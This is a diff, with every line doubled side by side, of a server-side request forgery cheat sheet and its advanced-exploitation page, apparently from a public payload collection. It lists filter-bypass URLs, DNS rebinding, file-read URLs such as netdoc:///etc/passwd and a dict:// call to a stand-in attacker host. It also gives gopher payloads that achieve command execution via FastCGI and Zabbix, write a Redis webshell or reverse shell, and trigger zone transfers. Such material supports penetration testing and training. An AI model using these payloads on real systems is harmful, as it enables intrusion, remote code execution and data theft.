http://[0000::1]:80/ http://[0000::1]:80/
``` ```
* Using [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) * Using [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
```powershell ```powershell
http://[0:0:0:0:0:ffff:127.0.0.1] http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1] http://[::ffff:127.0.0.1]
``` ```
### Bypass Localhost with a Domain Redirect ### Bypass Localhost with a Domain Redirect
| Domain | Redirect to | | Domain | Redirect to |
@@ -136,9 +137,9 @@ The service `nip.io` is awesome for that, it will convert any ip address as a dn
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1 NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
``` ```
### Bypass Localhost with CIDR ### Bypass Localhost with CIDR
The IP range `127.0.0.0/8` in IPv4 is reserved for loopback addresses. The IP range `127.0.0.0/8` in IPv4 is reserved for loopback addresses.
```powershell ```powershell
http://127.127.127.127 http://127.127.127.127
@@ -148,7 +149,6 @@ http://127.0.0.0
If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine
### Bypass Using Rare Address ### Bypass Using Rare Address
You can short-hand IP addresses by dropping the zeros You can short-hand IP addresses by dropping the zeros
@@ -159,10 +159,10 @@ http://127.1
http://127.0.1 http://127.0.1
``` ```
### Bypass Using an Encoded IP Address ### Bypass Using an Encoded IP Address
* Decimal IP location * Decimal IP location
```powershell ```powershell
http://2130706433/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1 http://3232235521/ = http://192.168.0.1
@@ -171,6 +171,7 @@ http://127.0.1
``` ```
* Octal IP: Implementations differ on how to handle octal format of IPv4. * Octal IP: Implementations differ on how to handle octal format of IPv4.
```powershell ```powershell
http://0177.0.0.1/ = http://127.0.0.1 http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1 http://o177.0.0.1/ = http://127.0.0.1
@@ -178,23 +179,23 @@ http://127.0.1
http://q177.0.0.1/ = http://127.0.0.1 http://q177.0.0.1/ = http://127.0.0.1
``` ```
### Bypass Using Different Encoding ### Bypass Using Different Encoding
* URL encoding: Single or double encode a specific URL to bypass blacklist * URL encoding: Single or double encode a specific URL to bypass blacklist
```powershell ```powershell
http://127.0.0.1/%61dmin http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin http://127.0.0.1/%2561dmin
``` ```
* Enclosed alphanumeric: `①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿` * Enclosed alphanumeric: `①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿`
```powershell ```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
``` ```
* Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. `\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`. * Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. `\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.
### Bypassing Using a Redirect ### Bypassing Using a Redirect
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1) 1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
@@ -203,21 +204,21 @@ http://127.0.1
To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use [Horlad/r3dir](https://github.com/Horlad/r3dir). To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use [Horlad/r3dir](https://github.com/Horlad/r3dir).
* Redirects to `http://localhost` with `307 Temporary Redirect` status code * Redirects to `http://localhost` with `307 Temporary Redirect` status code
```powershell ```powershell
https://307.r3dir.me/--to/?url=http://localhost https://307.r3dir.me/--to/?url=http://localhost
``` ```
* Redirects to `http://169.254.169.254/latest/meta-data/` with `302 Found` status code * Redirects to `http://169.254.169.254/latest/meta-data/` with `302 Found` status code
```powershell ```powershell
https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
``` ```
### Bypass Using DNS Rebinding ### Bypass Using DNS Rebinding
Create a domain that change between two IPs. Create a domain that change between two IPs.
* [1u.ms](http://1u.ms) - DNS rebinding utility * [1u.ms](http://1u.ms) - DNS rebinding utility
@@ -239,7 +240,6 @@ Name: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 169.254.169.254 Address: 169.254.169.254
``` ```
### Bypass Abusing URL Parsing Discrepancy ### Bypass Abusing URL Parsing Discrepancy
[A New Era Of SSRF Exploiting URL Parser In Trending Programming Languages - Research from Orange Tsai](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) [A New Era Of SSRF Exploiting URL Parser In Trending Programming Languages - Research from Orange Tsai](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
@@ -253,30 +253,26 @@ http://127.1.1.1:80#\@127.2.2.2:80/
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true) ![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
Parsing behavior by different libraries: `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` Parsing behavior by different libraries: `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/`
* `urllib2` treats `1.1.1.1` as the destination * `urllib2` treats `1.1.1.1` as the destination
* `requests` and browsers redirect to `2.2.2.2` * `requests` and browsers redirect to `2.2.2.2`
* `urllib` resolves to `3.3.3.3` * `urllib` resolves to `3.3.3.3`
### Bypass PHP filter_var() Function ### Bypass PHP filter_var() Function
In PHP 7.0.25, `filter_var()` function with the parameter `FILTER_VALIDATE_URL` allows URL such as: In PHP 7.0.25, `filter_var()` function with the parameter `FILTER_VALIDATE_URL` allows URL such as:
- `http://test???test.com` * `http://test???test.com`
- `0://evil.com:80;http://google.com:80/ ` * `0://evil.com:80;http://google.com:80/`
```php ```php
<?php <?php
echo var_dump(filter_var("http://test???test.com", FILTER_VALIDATE_URL)); echo var_dump(filter_var("http://test???test.com", FILTER_VALIDATE_URL));
echo var_dump(filter_var("0://evil.com;google.com", FILTER_VALIDATE_URL)); echo var_dump(filter_var("0://evil.com;google.com", FILTER_VALIDATE_URL));
?> ?>
``` ```
### Bypass Using JAR Scheme ### Bypass Using JAR Scheme
This attack technique is fully blind, you won't see the result. This attack technique is fully blind, you won't see the result.
@@ -311,7 +307,6 @@ ssrf.php?url=http://127.0.0.1:443
![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true) ![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)
### Dict ### Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
@@ -321,7 +316,7 @@ dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/ ssrf.php?url=dict://attacker:11111/
``` ```
### SFTP ### SFTP
A network protocol used for secure file transfer over secure shell A network protocol used for secure file transfer over secure shell
@@ -345,7 +340,6 @@ Lightweight Directory Access Protocol. It is an application protocol used over a
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
``` ```
### Netdoc ### Netdoc
Wrapper for Java when your payloads struggle with "`\n`" and "`\r`" characters. Wrapper for Java when your payloads struggle with "`\n`" and "`\r`" characters.
@@ -354,7 +348,6 @@ Wrapper for Java when your payloads struggle with "`\n`" and "`\r`" characters.
ssrf.php?url=netdoc:///etc/passwd ssrf.php?url=netdoc:///etc/passwd
``` ```
### Gopher ### Gopher
The `gopher://` protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet. The `gopher://` protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.
@@ -371,40 +364,38 @@ gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
Refer to the SSRF Advanced Exploitation to explore the `gopher://` protocol deeper. Refer to the SSRF Advanced Exploitation to explore the `gopher://` protocol deeper.
## Blind Exploitation ## Blind Exploitation
> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. > When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
Use an SSRF chain to gain an Out-of-Band output: [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains) Use an SSRF chain to gain an Out-of-Band output: [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains)
**Possible via HTTP(s)** **Possible via HTTP(s)**:
- [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch) * [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch)
- [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic) * [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic)
- [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul) * [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul)
- [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock) * [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock)
- [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid) * [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid)
- [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr) * [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr)
- [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft) * [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft)
- [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts) * [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts)
- [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss) * [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss)
- [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence) * [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence)
- [Jira](https://github.com/assetnote/blind-ssrf-chains#jira) * [Jira](https://github.com/assetnote/blind-ssrf-chains#jira)
- [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products) * [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products)
- [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb) * [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb)
- [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins) * [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins)
- [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix) * [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix)
- [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3) * [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3)
- [Docker](https://github.com/assetnote/blind-ssrf-chains#docker) * [Docker](https://github.com/assetnote/blind-ssrf-chains#docker)
- [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter) * [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter)
**Possible via Gopher** **Possible via Gopher**:
- [Redis](https://github.com/assetnote/blind-ssrf-chains#redis)
- [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache)
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
* [Redis](https://github.com/assetnote/blind-ssrf-chains#redis)
* [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache)
* [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
## Upgrade to XSS ## Upgrade to XSS
@@ -416,7 +407,6 @@ You can try to upgrade the SSRF to an XSS, by including an SVG file containing J
https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg
``` ```
## Labs ## Labs
* [PortSwigger - Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost) * [PortSwigger - Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
@@ -427,30 +417,29 @@ https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg
* [Root Me - Server Side Request Forgery](https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery) * [Root Me - Server Side Request Forgery](https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery)
* [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration) * [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration)
## References ## References
- [A New Era Of SSRF - Exploiting URL Parsers - Orange Tsai - September 27, 2017](https://www.youtube.com/watch?v=D1S-G8rJrEk) * [A New Era Of SSRF - Exploiting URL Parsers - Orange Tsai - September 27, 2017](https://www.youtube.com/watch?v=D1S-G8rJrEk)
- [Blind SSRF on errors.hackerone.net - chaosbolt - June 30, 2018](https://hackerone.com/reports/374737) * [Blind SSRF on errors.hackerone.net - chaosbolt - June 30, 2018](https://hackerone.com/reports/374737)
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data - Brett Buerhaus - April 18, 2016](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) * [ESEA Server-Side Request Forgery and Querying AWS Meta Data - Brett Buerhaus - April 18, 2016](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/)
- [Hacker101 SSRF - Cody Brocious - October 29, 2018](https://www.youtube.com/watch?v=66ni2BTIjS8) * [Hacker101 SSRF - Cody Brocious - October 29, 2018](https://www.youtube.com/watch?v=66ni2BTIjS8)
- [Hackerone - How To: Server-Side Request Forgery (SSRF) - Jobert Abma - June 14, 2017](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF) * [Hackerone - How To: Server-Side Request Forgery (SSRF) - Jobert Abma - June 14, 2017](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
- [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity - December 17, 2017](http://web.archive.org/web/20171220083457/http://www.sxcurity.pro/2017/12/17/hackertarget/) * [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity - December 17, 2017](http://web.archive.org/web/20171220083457/http://www.sxcurity.pro/2017/12/17/hackertarget/)
- [How I Chained 4 Vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai - July 28, 2017](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) * [How I Chained 4 Vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai - July 28, 2017](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- [Les Server Side Request Forgery : Comment contourner un pare-feu - Geluchat - September 16, 2017](https://www.dailysecurity.fr/server-side-request-forgery/) * [Les Server Side Request Forgery : Comment contourner un pare-feu - Geluchat - September 16, 2017](https://www.dailysecurity.fr/server-side-request-forgery/)
- [PHP SSRF - @secjuice - theMiddle - March 1, 2018](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51) * [PHP SSRF - @secjuice - theMiddle - March 1, 2018](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
- [Piercing the Veil: Server Side Request Forgery to NIPRNet Access - Alyssa Herrera - April 9, 2018](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a) * [Piercing the Veil: Server Side Request Forgery to NIPRNet Access - Alyssa Herrera - April 9, 2018](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)
- [Server-side Browsing Considered Harmful - Nicolas Grégoire (Agarri) - May 21, 2015](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf) * [Server-side Browsing Considered Harmful - Nicolas Grégoire (Agarri) - May 21, 2015](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- [SSRF - Server-Side Request Forgery (Types and Ways to Exploit It) Part-1 - SaN ThosH (madrobot) - January 10, 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978) * [SSRF - Server-Side Request Forgery (Types and Ways to Exploit It) Part-1 - SaN ThosH (madrobot) - January 10, 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
- [SSRF and Local File Read in Video to GIF Converter - sl1m - February 11, 2016](https://hackerone.com/reports/115857) * [SSRF and Local File Read in Video to GIF Converter - sl1m - February 11, 2016](https://hackerone.com/reports/115857)
- [SSRF in https://imgur.com/vidgif/url - Eugene Farfel (aesteral) - February 10, 2016](https://hackerone.com/reports/115748) * [SSRF in https://imgur.com/vidgif/url - Eugene Farfel (aesteral) - February 10, 2016](https://hackerone.com/reports/115748)
- [SSRF in proxy.duckduckgo.com - Patrik Fábián (fpatrik) - May 27, 2018](https://hackerone.com/reports/358119) * [SSRF in proxy.duckduckgo.com - Patrik Fábián (fpatrik) - May 27, 2018](https://hackerone.com/reports/358119)
- [SSRF on *shopifycloud.com - Rojan Rijal (rijalrojan) - July 17, 2018](https://hackerone.com/reports/382612) * [SSRF on *shopifycloud.com - Rojan Rijal (rijalrojan) - July 17, 2018](https://hackerone.com/reports/382612)
- [SSRF Protocol Smuggling in Plaintext Credential Handlers: LDAP - Willis Vandevanter (@0xrst) - February 5, 2019](https://www.silentrobots.com/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/) * [SSRF Protocol Smuggling in Plaintext Credential Handlers: LDAP - Willis Vandevanter (@0xrst) - February 5, 2019](https://www.silentrobots.com/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
- [SSRF Tips - xl7dev - July 3, 2016](http://web.archive.org/web/20170407053309/http://blog.safebuff.com/2016/07/03/SSRF-Tips/) * [SSRF Tips - xl7dev - July 3, 2016](http://web.archive.org/web/20170407053309/http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
- [SSRF's Up! Real World Server-Side Request Forgery (SSRF) - Alberto Wilson and Guillermo Gabarrin - January 25, 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/) * [SSRF's Up! Real World Server-Side Request Forgery (SSRF) - Alberto Wilson and Guillermo Gabarrin - January 25, 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 - mrtc0 - September 5, 2018](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/) * [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 - mrtc0 - September 5, 2018](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - June 12, 2019](https://github.com/allanlw/svg-cheatsheet) * [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - June 12, 2019](https://github.com/allanlw/svg-cheatsheet)
- [URL Eccentricities in Java - sammy (@PwnL0rd) - November 2, 2020](http://web.archive.org/web/20201107113541/https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/) * [URL Eccentricities in Java - sammy (@PwnL0rd) - November 2, 2020](http://web.archive.org/web/20201107113541/https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
- [Web Security Academy Server-Side Request Forgery (SSRF) - PortSwigger - July 10, 2019](https://portswigger.net/web-security/ssrf) * [Web Security Academy Server-Side Request Forgery (SSRF) - PortSwigger - July 10, 2019](https://portswigger.net/web-security/ssrf)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG (@quanyang) - June 22, 2016](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) * [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG (@quanyang) - June 22, 2016](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)

View File

@@ -2,7 +2,7 @@
> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state. > Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.
## Summary ## Summary
* [DNS AXFR](#dns-axfr) * [DNS AXFR](#dns-axfr)
* [FastCGI](#fastcgi) * [FastCGI](#fastcgi)
@@ -14,7 +14,6 @@
* [Zabbix](#zabbix) * [Zabbix](#zabbix)
* [References](#references) * [References](#references)
## DNS AXFR ## DNS AXFR
Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains. Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.
@@ -44,7 +43,6 @@ Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
``` ```
## FastCGI ## FastCGI
Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`. Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.
@@ -53,7 +51,6 @@ Requires to know the full path of one PHP file on the server, by default the exp
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00 gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
``` ```
## Memcached ## Memcached
Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data. Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.
@@ -91,6 +88,7 @@ SAVE
``` ```
* Getting a webshell with `dict://` * Getting a webshell with `dict://`
```powershell ```powershell
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
@@ -99,6 +97,7 @@ SAVE
``` ```
* Getting a PHP reverse shell with `gopher://` * Getting a PHP reverse shell with `gopher://`
```powershell ```powershell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
@@ -132,7 +131,6 @@ The following PHP script can be used to generate a page that will redirect to th
?> ?>
``` ```
## WSGI ## WSGI
Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py). Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).
@@ -154,7 +152,6 @@ gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
| value length | (2 bytes) | 12 | (%0C%00) | | value length | (2 bytes) | 12 | (%0C%00) |
| value data | (n bytes) | | /tmp/test.py | | value data | (n bytes) | | /tmp/test.py |
## Zabbix ## Zabbix
If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands. If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
@@ -163,10 +160,9 @@ If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it all
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
``` ```
## References ## References
- [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/) * [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/)
- [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) * [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
